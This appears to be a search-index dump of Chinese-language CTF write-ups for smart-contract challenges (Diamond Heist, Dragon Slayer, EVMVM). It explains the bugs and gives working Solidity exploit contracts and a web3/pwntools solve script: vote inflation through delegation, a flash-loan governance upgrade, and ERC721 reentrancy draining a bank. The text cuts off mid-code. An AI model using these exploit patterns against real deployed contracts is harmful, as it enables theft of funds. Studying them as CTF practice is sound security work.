\uff0c\u5c06\u4e3a delegatee \u589e\u52a0 balanceOf(delegator) \u7968\u3002\u90a3\u4e48\uff0c\u53ef\u4ee5\u5c06\u6301\u6709\u7684\u4ee3\u5e01\u8f6c\u79fb\u7ed9\u65b0\u7684 delegator \u518d\u7531\u5176\u8c03\u7528 delegate() \u6765\u589e\u52a0 delegatee \u7684\u7968\u6570 // contract SaltyPretzel function delegate ( address delegatee ) external { return _delegate ( msg . sender , delegatee ); } function _delegate ( address delegator , address delegatee ) internal { address currentDelegate = _delegates [ delegator ]; uint256 delegatorBalance = balanceOf ( delegator ); _delegates [ delegator ] = delegatee ; emit DelegateChanged ( delegator , currentDelegate , delegatee ); _moveDelegates ( currentDelegate , delegatee , delegatorBalance ); }","title":"\u89e3\u9898\u601d\u8def"},{"location":"blockchain/diamond_heist/#exploit","text":"contract HackerVault is Vault { // new implementation should also be UUPS function exploit ( address token , address setup ) external { IERC20 ( token ). transfer ( address ( setup ), 100 ); } } contract Helper { function help ( address instance ) external { SaltyPretzel ( instance ). delegate ( msg . sender ); SaltyPretzel ( instance ). transfer ( msg . sender , 100 ether ); } } contract Hack is IERC3156FlashBorrower { Setup setup ; SaltyPretzel saltyPretzel ; Vault vault ; constructor ( address instance ) { setup = Setup ( instance ); saltyPretzel = SaltyPretzel ( setup . saltyPretzel ()); vault = Vault ( setup . vault ()); } function exploit () external { saltyPretzel . delegate ( address ( this )); setup . claim (); for ( uint i = 1 ; i < 100 ; i ++ ) { Helper helper = new Helper (); saltyPretzel . transfer ( address ( helper ), 100 ether ); helper . help ( address ( saltyPretzel )); } vault . flashloan ( address ( setup . diamond ()), 100 , address ( this )); } function onFlashLoan ( address , address token , uint256 amount , uint256 , bytes calldata ) external override returns ( bytes32 ) { HackerVault hackerVault = new HackerVault (); vault . governanceCall ( abi . encodeWithSignature ( \"upgradeTo(address)\" , address ( hackerVault ) )); IERC20 ( token ). transfer ( address ( vault ), amount ); return keccak256 ( \"ERC3156FlashBorrower.onFlashLoan\" ); } } from web3 import Web3 import pwn hack_abi = open ( 'hack_abi.json' ) . read () hack_bytecode = open ( 'hack_bytecode.txt' , 'r' ) . read () hackervault_abi = open ( 'hackervault_abi.json' ) . read () hackervault_bytecode = open ( 'hackervault_bytecode.txt' ) . read () setup_abi = open ( 'setup_abi.json' ) . read () def transact ( func ): tx = account . sign_transaction ( eval ( func ) . buildTransaction ({ 'chainId' : w3 . eth . chain_id , 'nonce' : w3 . eth . get_transaction_count ( account . address ), 'gas' : eval ( func ) . estimate_gas (), 'gasPrice' : w3 . eth . gas_price , })) . rawTransaction tx_hash = w3 . eth . send_raw_transaction ( tx ) . hex () return w3 . eth . wait_for_transaction_receipt ( tx_hash ) conn = pwn . remote ( '34.141.16.87' , 30200 ) conn . sendlineafter ( b 'action?' , b '1' ) ticket = conn . recvline_contains ( b 'ticket' ) . decode () . split ( ' ' )[ - 1 ] . strip () w3 = Web3 ( Web3 . HTTPProvider ( conn . recvline_contains ( b 'rpc' ) . decode () . split ( ' ' )[ - 1 ])) account = w3 . eth . account . from_key ( conn . recvline_contains ( b 'key' ) . decode () . split ( ' ' )[ - 1 ]) setup_addr = conn . recvline_contains ( b 'contract' ) . decode () . split ( ' ' )[ - 1 ] . strip () setup_contract = w3 . eth . contract ( address = setup_addr , abi = setup_abi ) hack_contract = w3 . eth . contract ( abi = hack_abi , bytecode = hack_bytecode ) hack_addr = transact ( 'hack_contract.constructor(setup_addr)' ) . contractAddress hack_contract = w3 . eth . contract ( address = hack_addr , abi = hack_abi ) print ( hack_addr ) transact ( 'hack_contract.functions.exploit()' ) vault_addr = setup_contract . functions . vault () . call () diamond_addr = setup_contract . functions . diamond () . call () hackervault_contract = w3 . eth . contract ( address = vault_addr , abi = hackervault_abi ) transact ( 'hackervault_contract.functions.exploit(diamond_addr, setup_addr)' ) if setup_contract . functions . isSolved () . call (): conn = pwn . remote ( '34.141.16.87' , 30200 ) conn . sendlineafter ( b 'action?' , b '3' ) conn . sendlineafter ( b 'ticket please:' , ticket ) conn . interactive ()","title":"Exploit"},{"location":"blockchain/diamond_heist/#flag","text":"HackTM{m1ss10n_n0t_th4t_1mmut4ble_58fb67c04fd7fedc}","title":"Flag"},{"location":"blockchain/diamond_heist/#_3","text":"UUPSUpgradeable","title":"\u53c2\u8003\u8d44\u6599"},{"location":"blockchain/dragon_slayer/","tags":["smart contract","solidity","flashloan"],"text":"#smart contract #solidity #flashloan .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 Prove yourself a true champion. Kill the mighty dragon and earn the right to call yourself a dragon slayer. nc 34.141.16.87 30100 dragon_slayer_contracts.zip \u89e3\u9898\u601d\u8def \u00b6 \u76ee\u6807\u662f\u51fb\u8d25\u6076\u9f99w // contract Setup function isSolved () external view returns ( bool ) { return knight . health () > 0 && knight . dragon (). health () == 0 ; } Dragon \u7684\u653b\u51fb\u529b\u3001\u9632\u5fa1\u529b\u4ee5\u53ca\u8840\u91cf\u90fd\u975e\u5e38\u9ad8 // contract Dragon constructor ( address knight_ ) { knight = knight_ ; health = 1 _000_000 ; clawAttack = 1 _000_000 ; fireAttack = 10 _000_000 ; defence = 500 _000 ; attackRound = 0 ; } \u800c Knight \u521d\u59cb\u53ea\u6709 Bronze Dagger \u548c Wooden Shield // contract Shop struct ItemProperties { string name ; uint price ; ItemType itemType ; uint attack ; uint defence ; bool hasAntiFire ; } constructor ( address goldCoin_ ) { goldCoin = GoldCoin ( goldCoin_ ); item = new Item (); item . mint ( address ( this ), 1 , 10 , \"\" ); items [ 1 ] = ItemProperties ( \"Bronze Dagger\" , 10 ether , ItemType . SWORD , 1 , 0 , false ); item . mint ( address ( this ), 2 , 10 , \"\" ); items [ 2 ] = ItemProperties ( \"Wooden Shield\" , 10 ether , ItemType . SHIELD , 0 , 1 , false ); item . mint ( address ( this ), 3 , 10 , \"\" ); items [ 3 ] = ItemProperties ( \"Abyssal Whip\" , 1 _000_000 ether , ItemType . SWORD , 1 _000_000 , 0 , false ); item . mint ( address ( this ), 4 , 10 , \"\" ); items [ 4 ] = ItemProperties ( \"Dragonfire Shield\" , 1 _000_000 ether , ItemType . SHIELD , 0 , 1 _000_000 , true ); // msg.sender is Knight item . mint ( msg . sender , 1 , 1 , \"\" ); item . mint ( msg . sender , 2 , 1 , \"\" ); } \u8d2d\u4e70\u5546\u54c1\u9700\u8981\u8db3\u591f\u7684 GoldCoin \uff0c\u5356\u6389\u521d\u59cb\u6301\u6709\u7684 items \u4e5f\u4e0d\u591f\u8d2d\u4e70 Abyssal Whip \u548c Dragonfire Shield \uff0c\u5e76\u4e14 Shop \u4e5f\u6ca1\u6709 GC \u652f\u4ed8 XD // contract Shop function buyItem ( uint itemId ) external { goldCoin . transferFrom ( msg . sender , address ( this ), items [ itemId ]. price ); item . mint ( msg . sender , itemId , 1 , \"\" ); } function sellItem ( uint itemId ) external { item . burn ( msg . sender , itemId , 1 ); goldCoin . transfer ( msg . sender , items [ itemId ]. price ); // no goldCoin in shop at first } \u90a3\u4e48\uff0c\u5f97\u60f3\u529e\u6cd5\u4ece Bank \u5f04\u70b9 GC \u7528 =\u03c9= BankNote \u9075\u5faa ERC721 \u4ee3\u5e01\u6807\u51c6\uff0c\u4e14 mint() \u4e2d\u8c03\u7528\u4e86 _safeMint() // contract BankNote function mint ( address to , uint256 tokenId ) public onlyOwner { _safeMint ( to , tokenId ); } \u63a5\u4e0b\u6765\u9700\u8981\u60f3\u529e\u6cd5\u8ba9 _safeMint() \u8c03\u7528\u8bbe\u8ba1\u597d\u7684 onERC721Received() \u3002 Bank \u4e2d deposit() \u3001 merge() \u548c split() \u4f7f\u7528\u5230\u4e86 BankNote.mint() \uff0c\u4e0d\u8fc7\u9664 Knight \u5916\uff0c\u5176\u4ed6\u5730\u5740\u5e76\u6ca1\u6709 GC \u3002\u56e0\u800c\u5728\u672a\u6301\u6709 BN \u548c GC \u7684\u60c5\u51b5\u4e0b\uff0c\u53ef\u901a\u8fc7 Bank.merge() \u89e6\u53d1 BankNote.mint() \uff0c\u5176\u4e2d\u4f20\u5165\u6570\u7ec4 bankNoteIdsFrom \u7684\u957f\u5ea6\u4e3a \\(0\\) // contract Bank function deposit ( uint amount ) external { require ( amount > 0 , \"ZERO\" ); goldCoin . burn ( msg . sender , amount ); _ids . increment (); uint bankNoteId = _ids . current (); bankNote . mint ( msg . sender , bankNoteId ); bankNoteValues [ bankNoteId ] = amount ; } function merge ( uint [] memory bankNoteIdsFrom ) external { uint totalValue ; for ( uint i = 0 ; i < bankNoteIdsFrom . length ; i ++ ) { uint bankNoteId = bankNoteIdsFrom [ i ]; require ( bankNote . ownerOf ( bankNoteId ) == msg . sender , \"NOT_OWNER\" ); bankNote . burn ( bankNoteId ); totalValue += bankNoteValues [ bankNoteId ]; bankNoteValues [ bankNoteId ] = 0 ; } _ids . increment (); uint bankNoteIdTo = _ids . current (); bankNote . mint ( msg . sender , bankNoteIdTo ); bankNoteValues [ bankNoteIdTo ] += totalValue ; } function split ( uint bankNoteIdFrom , uint [] memory amounts ) external { uint totalValue ; require ( bankNote . ownerOf ( bankNoteIdFrom ) == msg . sender , \"NOT_OWNER\" ); for ( uint i = 0 ; i < amounts . length ; i ++ ) { uint value = amounts [ i ]; _ids . increment (); uint bankNoteId = _ids . current (); bankNote . mint ( msg . sender , bankNoteId ); bankNoteValues [ bankNoteId ] = value ; totalValue += value ; } require ( totalValue == bankNoteValues [ bankNoteIdFrom ], \"NOT_ENOUGH\" ); bankNote . burn ( bankNoteIdFrom ); bankNoteValues [ bankNoteIdFrom ] = 0 ; } \u91c7\u7528\u7c7b\u4f3c flashloan \u7684\u65b9\u5f0f\u4f7f\u7528 Bank.split() \uff0c\u4f7f\u7528\u5b8c\u540e deposit() \u518d\u8f6c\u79fb\u7ed9 bankNoteIdFrom \uff0c\u5c31\u80fd\u901a\u8fc7\u5224\u65ad totalValue == bankNoteValues[bankNoteIdFrom] // contract Bank function deposit ( uint amount ) external { require ( amount > 0 , \"ZERO\" ); goldCoin . burn ( msg . sender , amount ); _ids . increment (); uint bankNoteId = _ids . current (); bankNote . mint ( msg . sender , bankNoteId ); bankNoteValues [ bankNoteId ] = amount ; } function transferPartial ( uint bankNoteIdFrom , uint amount , uint bankNoteIdTo ) external { require ( bankNote . ownerOf ( bankNoteIdFrom ) == msg . sender , \"NOT_OWNER\" ); require ( bankNoteValues [ bankNoteIdFrom ] >= amount , \"NOT_ENOUGH\" ); bankNoteValues [ bankNoteIdFrom ] -= amount ; bankNoteValues [ bankNoteIdTo ] += amount ; } Exploit \u00b6 contract Hack is IERC721Receiver { Setup setup ; Knight knight ; Bank bank ; uint visitCnt ; constructor ( address instance ) { setup = Setup ( instance ); knight = Knight ( setup . knight ()); bank = Bank ( knight . bank ()); uint [] memory emptyBankNoteIds ; bank . merge ( emptyBankNoteIds ); // deploying, onERC721Received will not be called } function exploit () external { setup . claim (); uint [] memory amounts = new uint []( 2 ); amounts [ 0 ] = 2 _000_000 ether ; amounts [ 1 ] = 0 ; bank . split ( 1 , amounts ); } function attack () internal { bank . withdraw ( 2 ); IERC20 ( knight . goldCoin ()). transfer ( address ( knight ), 2 _000_000 ether ); knight . buyItem ( 3 ); knight . buyItem ( 4 ); for ( uint i = 0 ; i < 2 ; i ++ ) knight . fightDragon (); knight . sellItem ( 3 ); knight . sellItem ( 4 ); knight . bankDeposit ( 2 _000_000 ether ); knight . bankTransferPartial ( 4 , 2 _000_000 ether , 1 ); } function onERC721Received ( address , address , uint256 tokenId , bytes calldata ) public returns ( bytes4 ) { if ( visitCnt == 1 ) { attack (); } visitCnt += 1 ; return this . onERC721Received . selector ; } } Flag \u00b6 HackTM{n0w_g0_g3t_th4t_run3_pl4t3b0dy_b4af5ff9eab4b0f7}","title":"Dragon Slayer"},{"location":"blockchain/dragon_slayer/#_1","text":"Prove yourself a true champion. Kill the mighty dragon and earn the right to call yourself a dragon slayer. nc 34.141.16.87 30100 dragon_slayer_contracts.zip","title":"\u9898\u76ee"},{"location":"blockchain/dragon_slayer/#_2","text":"\u76ee\u6807\u662f\u51fb\u8d25\u6076\u9f99w // contract Setup function isSolved () external view returns ( bool ) { return knight . health () > 0 && knight . dragon (). health () == 0 ; } Dragon \u7684\u653b\u51fb\u529b\u3001\u9632\u5fa1\u529b\u4ee5\u53ca\u8840\u91cf\u90fd\u975e\u5e38\u9ad8 // contract Dragon constructor ( address knight_ ) { knight = knight_ ; health = 1 _000_000 ; clawAttack = 1 _000_000 ; fireAttack = 10 _000_000 ; defence = 500 _000 ; attackRound = 0 ; } \u800c Knight \u521d\u59cb\u53ea\u6709 Bronze Dagger \u548c Wooden Shield // contract Shop struct ItemProperties { string name ; uint price ; ItemType itemType ; uint attack ; uint defence ; bool hasAntiFire ; } constructor ( address goldCoin_ ) { goldCoin = GoldCoin ( goldCoin_ ); item = new Item (); item . mint ( address ( this ), 1 , 10 , \"\" ); items [ 1 ] = ItemProperties ( \"Bronze Dagger\" , 10 ether , ItemType . SWORD , 1 , 0 , false ); item . mint ( address ( this ), 2 , 10 , \"\" ); items [ 2 ] = ItemProperties ( \"Wooden Shield\" , 10 ether , ItemType . SHIELD , 0 , 1 , false ); item . mint ( address ( this ), 3 , 10 , \"\" ); items [ 3 ] = ItemProperties ( \"Abyssal Whip\" , 1 _000_000 ether , ItemType . SWORD , 1 _000_000 , 0 , false ); item . mint ( address ( this ), 4 , 10 , \"\" ); items [ 4 ] = ItemProperties ( \"Dragonfire Shield\" , 1 _000_000 ether , ItemType . SHIELD , 0 , 1 _000_000 , true ); // msg.sender is Knight item . mint ( msg . sender , 1 , 1 , \"\" ); item . mint ( msg . sender , 2 , 1 , \"\" ); } \u8d2d\u4e70\u5546\u54c1\u9700\u8981\u8db3\u591f\u7684 GoldCoin \uff0c\u5356\u6389\u521d\u59cb\u6301\u6709\u7684 items \u4e5f\u4e0d\u591f\u8d2d\u4e70 Abyssal Whip \u548c Dragonfire Shield \uff0c\u5e76\u4e14 Shop \u4e5f\u6ca1\u6709 GC \u652f\u4ed8 XD // contract Shop function buyItem ( uint itemId ) external { goldCoin . transferFrom ( msg . sender , address ( this ), items [ itemId ]. price ); item . mint ( msg . sender , itemId , 1 , \"\" ); } function sellItem ( uint itemId ) external { item . burn ( msg . sender , itemId , 1 ); goldCoin . transfer ( msg . sender , items [ itemId ]. price ); // no goldCoin in shop at first } \u90a3\u4e48\uff0c\u5f97\u60f3\u529e\u6cd5\u4ece Bank \u5f04\u70b9 GC \u7528 =\u03c9= BankNote \u9075\u5faa ERC721 \u4ee3\u5e01\u6807\u51c6\uff0c\u4e14 mint() \u4e2d\u8c03\u7528\u4e86 _safeMint() // contract BankNote function mint ( address to , uint256 tokenId ) public onlyOwner { _safeMint ( to , tokenId ); } \u63a5\u4e0b\u6765\u9700\u8981\u60f3\u529e\u6cd5\u8ba9 _safeMint() \u8c03\u7528\u8bbe\u8ba1\u597d\u7684 onERC721Received() \u3002 Bank \u4e2d deposit() \u3001 merge() \u548c split() \u4f7f\u7528\u5230\u4e86 BankNote.mint() \uff0c\u4e0d\u8fc7\u9664 Knight \u5916\uff0c\u5176\u4ed6\u5730\u5740\u5e76\u6ca1\u6709 GC \u3002\u56e0\u800c\u5728\u672a\u6301\u6709 BN \u548c GC \u7684\u60c5\u51b5\u4e0b\uff0c\u53ef\u901a\u8fc7 Bank.merge() \u89e6\u53d1 BankNote.mint() \uff0c\u5176\u4e2d\u4f20\u5165\u6570\u7ec4 bankNoteIdsFrom \u7684\u957f\u5ea6\u4e3a \\(0\\) // contract Bank function deposit ( uint amount ) external { require ( amount > 0 , \"ZERO\" ); goldCoin . burn ( msg . sender , amount ); _ids . increment (); uint bankNoteId = _ids . current (); bankNote . mint ( msg . sender , bankNoteId ); bankNoteValues [ bankNoteId ] = amount ; } function merge ( uint [] memory bankNoteIdsFrom ) external { uint totalValue ; for ( uint i = 0 ; i < bankNoteIdsFrom . length ; i ++ ) { uint bankNoteId = bankNoteIdsFrom [ i ]; require ( bankNote . ownerOf ( bankNoteId ) == msg . sender , \"NOT_OWNER\" ); bankNote . burn ( bankNoteId ); totalValue += bankNoteValues [ bankNoteId ]; bankNoteValues [ bankNoteId ] = 0 ; } _ids . increment (); uint bankNoteIdTo = _ids . current (); bankNote . mint ( msg . sender , bankNoteIdTo ); bankNoteValues [ bankNoteIdTo ] += totalValue ; } function split ( uint bankNoteIdFrom , uint [] memory amounts ) external { uint totalValue ; require ( bankNote . ownerOf ( bankNoteIdFrom ) == msg . sender , \"NOT_OWNER\" ); for ( uint i = 0 ; i < amounts . length ; i ++ ) { uint value = amounts [ i ]; _ids . increment (); uint bankNoteId = _ids . current (); bankNote . mint ( msg . sender , bankNoteId ); bankNoteValues [ bankNoteId ] = value ; totalValue += value ; } require ( totalValue == bankNoteValues [ bankNoteIdFrom ], \"NOT_ENOUGH\" ); bankNote . burn ( bankNoteIdFrom ); bankNoteValues [ bankNoteIdFrom ] = 0 ; } \u91c7\u7528\u7c7b\u4f3c flashloan \u7684\u65b9\u5f0f\u4f7f\u7528 Bank.split() \uff0c\u4f7f\u7528\u5b8c\u540e deposit() \u518d\u8f6c\u79fb\u7ed9 bankNoteIdFrom \uff0c\u5c31\u80fd\u901a\u8fc7\u5224\u65ad totalValue == bankNoteValues[bankNoteIdFrom] // contract Bank function deposit ( uint amount ) external { require ( amount > 0 , \"ZERO\" ); goldCoin . burn ( msg . sender , amount ); _ids . increment (); uint bankNoteId = _ids . current (); bankNote . mint ( msg . sender , bankNoteId ); bankNoteValues [ bankNoteId ] = amount ; } function transferPartial ( uint bankNoteIdFrom , uint amount , uint bankNoteIdTo ) external { require ( bankNote . ownerOf ( bankNoteIdFrom ) == msg . sender , \"NOT_OWNER\" ); require ( bankNoteValues [ bankNoteIdFrom ] >= amount , \"NOT_ENOUGH\" ); bankNoteValues [ bankNoteIdFrom ] -= amount ; bankNoteValues [ bankNoteIdTo ] += amount ; }","title":"\u89e3\u9898\u601d\u8def"},{"location":"blockchain/dragon_slayer/#exploit","text":"contract Hack is IERC721Receiver { Setup setup ; Knight knight ; Bank bank ; uint visitCnt ; constructor ( address instance ) { setup = Setup ( instance ); knight = Knight ( setup . knight ()); bank = Bank ( knight . bank ()); uint [] memory emptyBankNoteIds ; bank . merge ( emptyBankNoteIds ); // deploying, onERC721Received will not be called } function exploit () external { setup . claim (); uint [] memory amounts = new uint []( 2 ); amounts [ 0 ] = 2 _000_000 ether ; amounts [ 1 ] = 0 ; bank . split ( 1 , amounts ); } function attack () internal { bank . withdraw ( 2 ); IERC20 ( knight . goldCoin ()). transfer ( address ( knight ), 2 _000_000 ether ); knight . buyItem ( 3 ); knight . buyItem ( 4 ); for ( uint i = 0 ; i < 2 ; i ++ ) knight . fightDragon (); knight . sellItem ( 3 ); knight . sellItem ( 4 ); knight . bankDeposit ( 2 _000_000 ether ); knight . bankTransferPartial ( 4 , 2 _000_000 ether , 1 ); } function onERC721Received ( address , address , uint256 tokenId , bytes calldata ) public returns ( bytes4 ) { if ( visitCnt == 1 ) { attack (); } visitCnt += 1 ; return this . onERC721Received . selector ; } }","title":"Exploit"},{"location":"blockchain/dragon_slayer/#flag","text":"HackTM{n0w_g0_g3t_th4t_run3_pl4t3b0dy_b4af5ff9eab4b0f7}","title":"Flag"},{"location":"blockchain/evmvm/","tags":["smart contract","evm","assembly","yul"],"text":"#smart contract #evm #assembly #yul .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 All these zoomers with their \"metaverse\" or something are thinking far too primitive. If the red pill goes down the rabbit hole, then how far up can we go? nc lac.tf 31151 Setup.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.18 ; import \"./EVMVM.sol\" ; contract Setup { EVMVM public immutable metametaverse = new EVMVM (); bool private solved = false ; function solve () external { assert ( msg . sender == address ( metametaverse )); solved = true ; } function isSolved () external view returns ( bool ) { return solved ; } } EVMVM.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.18 ; // YES I FINALLY GOT MY METAMETAVERSE TO WORK - Arc'blroth contract EVMVM { uint [] private stack ; // executes a single opcode on the metametaverse\u2122 // TODO(arc) implement the last few opcodes function enterTheMetametaverse ( bytes32 opcode , bytes32 arg ) external { assembly { // declare yul bindings for the stack // apparently you can only call yul functions from yul :sob: // https://ethereum.stackexchange.com/questions/126609/calling-functions-using-inline-assembly-yul function spush ( data ) { let index := sload ( 0x00 ) let stackSlot := 0x00 sstore ( add ( keccak256 ( stackSlot , 0x20 ), index ), data ) sstore ( 0x00 , add ( index , 1 )) } function spop () -> out { let index := sub ( sload ( 0x00 ), 1 ) let stackSlot := 0x00 out := sload ( add ( keccak256 ( stackSlot , 0x20 ), index )) sstore ( add ( keccak256 ( stackSlot , 0x20 ), index ), 0 ) // zero out the popped memory sstore ( 0x00 , index ) } // opcode reference: https://www.evm.codes/?fork=merge switch opcode case 0x00 { // STOP // lmfao you literally just wasted gas } case 0x01 { // ADD spush ( add ( spop (), spop ())) } case 0x02 { // MUL spush ( mul ( spop (), spop ())) } case 0x03 { // SUB spush ( sub ( spop (), spop ())) } case 0x04 { // DIV spush ( div ( spop (), spop ())) } case 0x05 { // SDIV spush ( sdiv ( spop (), spop ())) } case 0x06 { // MOD spush ( mod ( spop (), spop ())) } case 0x07 { // SMOD spush ( smod ( spop (), spop ())) } case 0x08 { // ADDMOD spush ( addmod ( spop (), spop (), spop ())) } case 0x09 { // MULMOD spush ( mulmod ( spop (), spop (), spop ())) } case 0x0A { // EXP spush ( exp ( spop (), spop ())) } case 0x0B { // SIGNEXTEND spush ( signextend ( spop (), spop ())) } case 0x10 { // LT spush ( lt ( spop (), spop ())) } case 0x11 { // GT spush ( gt ( spop (), spop ())) } case 0x12 { // SLT spush ( slt ( spop (), spop ())) } case 0x13 { // SGT spush ( sgt ( spop (), spop ())) } case 0x14 { // EQ spush ( eq ( spop (), spop ())) } case 0x15 { // ISZERO spush ( iszero ( spop ())) } case 0x16 { // AND spush ( and ( spop (), spop ())) } case 0x17 { // OR spush ( or ( spop (), spop ())) } case 0x18 { // XOR spush ( xor ( spop (), spop ())) } case 0x19 { // NOT spush ( not ( spop ())) } case 0x1A { // BYTE spush ( byte ( spop (), spop ())) } case 0x1B { // SHL spush ( shl ( spop (), spop ())) } case 0x1C { // SHR spush ( shr ( spop (), spop ())) } case 0x1D { // SAR spush ( sar ( spop (), spop ())) } case 0x20 { // SHA3 spush ( keccak256 ( spop (), spop ())) } case 0x30 { // ADDRESS spush ( address ()) } case 0x31 { // BALANCE spush ( balance ( spop ())) } case 0x32 { // ORIGIN spush ( origin ()) } case 0x33 { // CALLER spush ( caller ()) } case 0x34 { // CALLVALUE spush ( callvalue ()) } case 0x35 { // CALLDATALOAD spush ( calldataload ( spop ())) } case 0x36 { // CALLDATASIZE spush ( calldatasize ()) } case 0x37 { // CALLDATACOPY calldatacopy ( spop (), spop (), spop ()) } case 0x38 { // CODESIZE spush ( codesize ()) } case 0x3A { // GASPRICE spush ( gasprice ()) } case 0x3B { // EXTCODESIZE spush ( extcodesize ( spop ())) } case 0x3C { // EXTCODECOPY extcodecopy ( spop (), spop (), spop (), spop ()) } case 0x3D { // RETURNDATASIZE spush ( returndatasize ()) } case 0x3E { // RETURNDATACOPY returndatacopy ( spop (), spop (), spop ()) } case 0x3F { // EXTCODEHASH spush ( extcodehash ( spop ())) } case 0x40 { // BLOCKHASH spush ( blockhash ( spop ())) } case 0x41 { // COINBASE (sponsored opcode) spush ( coinbase ()) } case 0x42 { // TIMESTAMP spush ( timestamp ()) } case 0x43 { // NUMBER spush ( number ()) } case 0x44 { // PREVRANDAO // spush(difficulty()) spush ( prevrandao ()) // (1) } case 0x45 { // GASLIMIT spush ( gaslimit ()) } case 0x46 { // CHAINID spush ( chainid ()) } case 0x47 { // SELBALANCE spush ( selfbalance ()) } case 0x48 { // BASEFEE spush ( basefee ()) } case 0x50 { // POP pop ( spop ()) } case 0x51 { // MLOAD spush ( mload ( spop ())) } case 0x52 { // MSTORE mstore ( spop (), spop ()) } case 0x53 { // MSTORE8 mstore8 ( spop (), spop ()) } case 0x54 { // SLOAD spush ( sload ( spop ())) } case 0x55 { // SSTORE sstore ( spop (), spop ()) } case 0x59 { // MSIZE spush ( msize ()) } case 0x5A { // GAS spush ( gas ()) } case 0x80 { // DUP1 let val := spop () spush ( val ) spush ( val ) } case 0x91 { // SWAP1 let a := spop () let b := spop () spush ( a ) spush ( b ) } case 0xF0 { // CREATE spush ( create ( spop (), spop (), spop ())) } case 0xF1 { // CALL spush ( call ( spop (), spop (), spop (), spop (), spop (), spop (), spop ())) } case 0xF2 { // CALLCODE spush ( callcode ( spop (), spop (), spop (), spop (), spop (), spop (), spop ())) } case 0xF3 { // RETURN return ( spop (), spop ()) } case 0xF4 { // DELEGATECALL spush ( delegatecall ( spop (), spop (), spop (), spop (), spop (), spop ())) } case 0xF5 { // CREATE2 spush ( create2 ( spop (), spop (), spop (), spop ())) } case 0xFA { // STATICCALL spush ( staticcall ( spop (), spop (), spop (), spop (), spop (), spop ())) } case 0xFD { // REVERT revert ( spop (), spop ()) } case 0xFE { // INVALID invalid () } case 0xFF { // SELFDESTRUCT selfdestruct ( spop ()) } } } fallback () payable external { revert ( \"sus\" ); } receive () payable external { revert ( \"we are a cashless institution\" ); } } Paris \u7248\u672c\u8d77\uff0c DIFFICULTY \u7531 PREVRANDAO \u66ff\u4ee3\uff0c\u53ef\u83b7\u53d6\u4e0a\u4e00\u4e2a\u533a\u5757\u7684 RANDAO mix \u89e3\u9898\u601d\u8def \u00b6 \u76ee\u6807\u662f\u901a\u8fc7\u5408\u7ea6 EVMVM \u8c03\u7528 Setup.solve() EVMVM \u501f\u52a9 Yul \u6a21\u62df EVM\uff0c\u8c03\u7528\u4e00\u6b21 enterTheMetametaverse() \u53ef\u6267\u884c\u4e00\u4e2a\u64cd\u4f5c\u7801 \u9700\u8981\u8c03\u7528 Setup.solve() \uff0c\u67e5\u770b\u8c03\u7528\u76f8\u5173\u7684\u64cd\u4f5c\u7801 call(g, a, v, in, insize, out, outsize) \u8c03\u7528\u7279\u5b9a\u51fd\u6570\u9700\u8981\u501f\u52a9 memory \u5b58\u50a8\u51fd\u6570\u7b7e\u540d\u4ee5\u53ca\u4f20\u53c2\uff0c\u800c\u4e00\u6b21\u53ea\u80fd\u6267\u884c\u4e00\u4e2a\u64cd\u4f5c\u7801\u4e14 memory \u5728\u5355\u6b21\u8c03\u7528\u7ed3\u675f\u540e\u5373\u88ab\u6e05\u9664 \u53ef\u4ee5\u901a\u8fc7 delegatecall(g, a, in, insize, out, outsize) \u501f\u52a9\u5176\u5b83\u4ee3\u7801\uff0c\u7531\u4e8e\u65e0\u6cd5\u4f20\u9012\u7279\u5b9a\u7684\u51fd\u6570\u7b7e\u540d\u53ca\u53c2\u6570\uff0c\u8c03\u7528\u903b\u8f91\u5728 fallback() \u4e2d\u5b9e\u73b0\u5e76\u786c\u7f16\u7801 Setup \u5b9e\u4f8b\u7684\u5730\u5740 Yul \u4e2d\u51fd\u6570\u53c2\u6570\u4ece\u53f3\u5f80\u5de6\u5165\u6808\uff0c\u5c06\u5148\u6267\u884c\u6700\u53f3\u4fa7\u7684 spop() \uff0c\u56e0\u800c\u4ece\u5de6\u5f80\u53f3\u5c06 delegatecall \u9700\u8981\u7684\u53c2\u6570\u5165\u6808 g \uff0c\u53ef\u4ee5\u7b80\u5355\u5730\u501f\u7528 GASLIMIT \u6765\u8bbe\u7f6e a \uff0c\u901a\u8fc7 arg \u4f20\u5165 Setup \u7684\u5730\u5740\uff0c\u7531 calldataload(p) \u83b7\u53d6\u3002\u53ef\u501f\u52a9 CHAINID \uff08\u503c\u4e3a 1\uff09\u6765\u6784\u9020\u4efb\u610f\u503c sig(4 bytes) opcode(32 bytes) arg(32 bytes) in & insize & out & outsize \uff0c\u65e0\u9700\u4f20\u53c2\u4e14\u6ca1\u6709\u8f93\u51fa\uff0c\u53ef\u8bbe\u7f6e\u4e3a 0 Exploit \u00b6 pragma solidity ^ 0.8.18 ; interface IEVMVM { function enterTheMetametaverse ( bytes32 opcode , bytes32 arg ) external ; } interface ISetup { function solve () external ; } contract Hack { function exploit ( address instance ) public { IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x45 )), bytes32 ( 0 )); // GASLIMIT // get 36 IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x36 )), bytes32 ( 0 )); IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x46 )), bytes32 ( 0 )); IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x46 )), bytes32 ( 0 )); IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x01 )), bytes32 ( 0 )); IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x04 )), bytes32 ( 0 )); IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x46 )), bytes32 ( 0 )); IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x46 )), bytes32 ( 0 )); IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x01 )), bytes32 ( 0 